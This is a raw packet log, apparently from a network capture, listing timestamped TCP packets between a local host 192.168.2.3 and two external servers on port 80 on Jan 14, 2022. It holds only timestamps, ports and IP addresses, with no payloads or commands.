Jan 14, 2022 02:05:17.589448929 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.589487076 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.589500904 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.589525938 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.589538097 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.589566946 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.589603901 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.589632034 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.589684963 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.589736938 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.589787960 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.589828968 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.589869022 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.589895964 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.589934111 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.589972973 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.590010881 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.590013027 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.590049028 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.590061903 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.590087891 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.590126991 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.590159893 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.590167046 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.590207100 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.590218067 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.590244055 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.590284109 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.590285063 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.590322971 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.590359926 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.590370893 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.590399981 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.590439081 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.590449095 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.590477943 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.590517998 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.590554953 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.590568066 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.590595007 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.590605021 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.603215933 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.603313923 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.603732109 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.604175091 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.604216099 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.604254961 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.604285002 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.604294062 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.604332924 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.604337931 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.604372025 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.604412079 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.604429960 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.604455948 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.604461908 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.604495049 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.604532003 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.604572058 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.604583025 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.604610920 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.604617119 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.604650974 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.604690075 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.604726076 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.604739904 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.604764938 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.604775906 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.604804039 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.604840040 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.604880095 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.604909897 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.604918003 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.604948044 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.604955912 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.604995966 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.605000019 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.605032921 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.605072021 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.605120897 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.605125904 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.605156898 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.605169058 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.605196953 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.605236053 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.605272055 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.605285883 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.605310917 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.605320930 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.605349064 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.605387926 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.605427027 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.605439901 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.605463982 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.605478048 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.605504036 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.605542898 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.605580091 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.605590105 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.605618000 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.605623007 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.605658054 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.605696917 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.605736971 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.605750084 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.605772972 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.605784893 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.605812073 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.605870962 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.605936050 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.605936050 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.605973959 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.605984926 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.606014013 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.606051922 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.606089115 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.606100082 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.606127977 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.606139898 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.606168032 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.606208086 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.606249094 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.606260061 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.606286049 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.606297970 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.606326103 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.606364012 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.606400967 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.606416941 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.606441021 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.606445074 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.606478930 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.606518984 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.606558084 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.606569052 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.606595993 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.606616974 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.606635094 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.606673002 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.606709957 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.606723070 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.606749058 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.606785059 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.606787920 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.606827021 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.606867075 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.606877089 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.606904030 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.606944084 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.606957912 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.606982946 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.607021093 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.607052088 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.607059956 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.607086897 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.607098103 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.607139111 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.607160091 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.607177973 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.607215881 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.607225895 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.607255936 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.607295036 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.607331991 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.607347965 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.607371092 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.607383966 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.607409954 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.607450008 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.607490063 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.607503891 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.607537031 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.615113974 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.615276098 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.615371943 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.615394115 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.615499973 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.615595102 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.615648031 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.615732908 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.615813971 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.615884066 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.615915060 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.615945101 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.615982056 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.615993023 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.616023064 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.616059065 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.616069078 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.616099119 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.616122961 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.616147995 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.616178989 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.616195917 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.616224051 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.616252899 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.616282940 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.616307974 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.616336107 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.616345882 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.616377115 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.616406918 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.616425037 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.616451025 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.616482973 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.616513968 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.616528034 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.616556883 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.616573095 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.616604090 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.616635084 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.616667032 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.616679907 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.616709948 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.616724014 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.616755009 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.616784096 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.616813898 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.616827965 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.616853952 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.616871119 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.616902113 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.616930962 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.616944075 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.616975069 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.617003918 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.617034912 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.617048025 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.617079020 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.617090940 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.617121935 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.617151976 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.617182970 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.617197037 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.617233038 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.617242098 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.617274046 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.617304087 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.617333889 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.617347956 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.617373943 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.617391109 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.617419958 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.617451906 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.617481947 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.617496014 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.617523909 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.617539883 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.617569923 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.617599964 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.617613077 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.617643118 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.617671967 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.617702007 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.617717028 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.617743969 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.617759943 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.617790937 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.617821932 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.617877007 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.617893934 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.617927074 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.617958069 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.617970943 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.618001938 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.618016005 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.618047953 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.618078947 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.618091106 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.618123055 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.618154049 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.618184090 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.618197918 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.618227005 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.618242025 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.618272066 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.618299961 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.618330002 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.618344069 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.618369102 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.618387938 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.618418932 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.618449926 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.618479013 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.618490934 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.618519068 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.618535042 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.618566990 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.618603945 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.618633032 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.618645906 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.618671894 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.618690014 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.618719101 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.618750095 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.618781090 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.618793011 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.618819952 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.618835926 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.618866920 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.618896961 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.618927956 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.618942022 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.618971109 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.618985891 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.619015932 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.619117022 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.636404991 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.662075043 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.662131071 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.662172079 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.662195921 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.662209988 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.662249088 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.662286997 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.662308931 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.662326097 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.662359953 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.662367105 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.662404060 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.662415028 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.662442923 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.662481070 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.662532091 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.662538052 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.662575960 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.662587881 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.662615061 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.662652969 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.662692070 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.662705898 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.662734032 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.662745953 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.662771940 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.662811041 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.662848949 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.662863016 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.662885904 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.662918091 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.662925959 CET	80	49879	141.8.194.74	192.168.2.3
